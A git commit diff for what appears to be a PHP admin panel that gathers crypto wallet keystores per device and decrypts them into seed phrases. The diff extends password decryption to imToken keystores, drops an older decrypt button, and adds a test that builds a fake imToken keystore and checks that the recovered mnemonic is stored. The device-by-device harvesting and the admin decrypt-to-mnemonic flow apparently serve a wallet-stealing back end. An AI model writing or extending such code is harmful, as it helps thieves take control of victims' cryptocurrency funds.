feat: app
This commit is contained in:
@@ -239,7 +239,7 @@ class KeystoreController extends Controller
|
||||
if (! $this->keystoreAllowed($keystore)) {
|
||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||
}
|
||||
if ((int) $keystore->needs_password !== 1) {
|
||||
if ((int) $keystore->needs_password !== 1 && ! $keystore->hasWeb3Keystore()) {
|
||||
return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400);
|
||||
}
|
||||
$password = trim((string) $request->input('password', ''));
|
||||
|
||||
@@ -684,8 +684,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ title: '操作', width: 260, align: 'center', templet: function (d) {
|
||||
var html = '';
|
||||
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
|
||||
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="decrypt">密码解密</a>';
|
||||
if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>';
|
||||
if (d.password_decrypt_url && (Number(d.needs_password) === 1 || d.has_web3_keystore)) {
|
||||
html += '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="decryptPassword">密码解密</a>';
|
||||
}
|
||||
return html || '—';
|
||||
} }
|
||||
]],
|
||||
@@ -765,30 +766,6 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
|
||||
if (tab === 'keystores') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event === 'decrypt') {
|
||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||||
$.ajax({
|
||||
url: obj.data.decrypt_url,
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
timeout: 180000,
|
||||
success: function (res) {
|
||||
layer.msg((res && res.msg) || '已处理');
|
||||
if (res && res.code === 0) table.reload('LAY-device-tab-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
var msg = '解密失败';
|
||||
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
|
||||
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
|
||||
layer.msg(msg);
|
||||
},
|
||||
complete: function () {
|
||||
layer.close(loadIdx);
|
||||
}
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'decryptPassword') {
|
||||
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
||||
layer.prompt({
|
||||
|
||||
@@ -11,6 +11,7 @@ use App\Models\WalletMnemonic;
|
||||
use App\Services\EthKeystore;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use kornrunner\Keccak;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
@@ -89,8 +90,7 @@ class KeystoreAdminTest extends TestCase
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
->assertSee('钥匙串')
|
||||
->assertSee('lay-event="decrypt">密码解密</a>', false);
|
||||
->assertSee('钥匙串');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
||||
@@ -399,6 +399,44 @@ class KeystoreAdminTest extends TestCase
|
||||
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function imtoken_web3_keystore_without_needs_password_flag_uses_password_decrypt(): void
|
||||
{
|
||||
Http::fake();
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$password = 'imtoken-password';
|
||||
$device = Device::query()->create(['device_id' => 'DEVKSIMTOKEN']);
|
||||
$row = WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $this->makeImTokenPbkdf2Keystore($phrase, $password),
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.show', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
->assertSee('lay-event="decryptPassword">密码解密</a>', false);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.needs_password', null)
|
||||
->assertJsonPath('data.0.has_web3_keystore', true)
|
||||
->assertJsonPath('data.0.password_decrypt_url', route('admin.keystores.decryptPassword', $row));
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->postJson(route('admin.keystores.decryptPassword', $row), ['password' => $password])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.added', 1);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->firstOrFail();
|
||||
$this->assertSame($phrase, $mnemonic->mnemonic);
|
||||
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function password_decrypt_rejects_wrong_and_empty_password(): void
|
||||
{
|
||||
@@ -513,4 +551,50 @@ class KeystoreAdminTest extends TestCase
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function makeImTokenPbkdf2Keystore(string $phrase, string $password): array
|
||||
{
|
||||
$salt = random_bytes(16);
|
||||
$iv = random_bytes(16);
|
||||
$iterations = 100;
|
||||
$derived = hash_pbkdf2('sha256', $password, $salt, $iterations, 32, true);
|
||||
$ciphertext = openssl_encrypt(
|
||||
$phrase,
|
||||
'aes-128-ctr',
|
||||
substr($derived, 0, 16),
|
||||
OPENSSL_RAW_DATA,
|
||||
$iv
|
||||
);
|
||||
$mac = hex2bin(Keccak::hash(substr($derived, 16, 16).$ciphertext, 256));
|
||||
|
||||
return [
|
||||
'id' => '95b3c3eb-e63e-44f4-9806-1f2ba1e795ee',
|
||||
'version' => 12000,
|
||||
'crypto' => [
|
||||
'kdf' => 'pbkdf2',
|
||||
'mac' => bin2hex((string) $mac),
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'kdfparams' => [
|
||||
'dklen' => 32,
|
||||
'c' => $iterations,
|
||||
'prf' => 'hmac-sha256',
|
||||
'salt' => bin2hex($salt),
|
||||
],
|
||||
'ciphertext' => bin2hex((string) $ciphertext),
|
||||
'cipherparams' => ['iv' => bin2hex($iv)],
|
||||
],
|
||||
'identity' => [
|
||||
'identifier' => 'im14x5KJHMtvWn99m5dkrL3r5XjGJBjPkCyRibR',
|
||||
],
|
||||
'imTokenMeta' => [
|
||||
'name' => '暴富暴富暴富',
|
||||
'source' => 'NEW_MNEMONIC',
|
||||
'network' => 'MAINNET',
|
||||
'passwordHint' => '屌月',
|
||||
],
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user